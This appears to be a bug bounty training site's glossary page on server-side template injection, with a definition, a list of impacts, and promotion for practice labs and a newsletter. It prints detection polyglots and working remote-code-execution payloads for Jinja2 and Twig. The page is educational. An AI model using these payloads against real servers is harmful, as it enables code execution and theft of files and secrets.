SSTI

Critical

Server-Side Template Injection

Definition

Server-Side Template Injection (SSTI) occurs when user input is inserted directly into a server-side template (Jinja2, Twig, Freemarker, etc.) without sanitization. The attacker can inject template-engine expressions to execute arbitrary code on the server.

Impact

Remote code execution (RCE) on the serverReading system filesAccess to environment variables and secretsFull server compromiseLateral movement across the internal network

Examples

SSTI detection with a polyglot

First, detect whether SSTI exists using simple math expressions. If the server returns the computed result (49), proceed to identify the template engine and use engine-specific payloads to achieve code execution.

# Detection payload (works across multiple engines)
{{7*7}}
${7*7}
<%= 7*7 %>

# If the response shows "49", the template engine is processing the input

# Jinja2 (Python) - RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP) - RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

Practice SSTI with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
2,482

hunters training

62

labs from real hacks

1,630

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy
Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime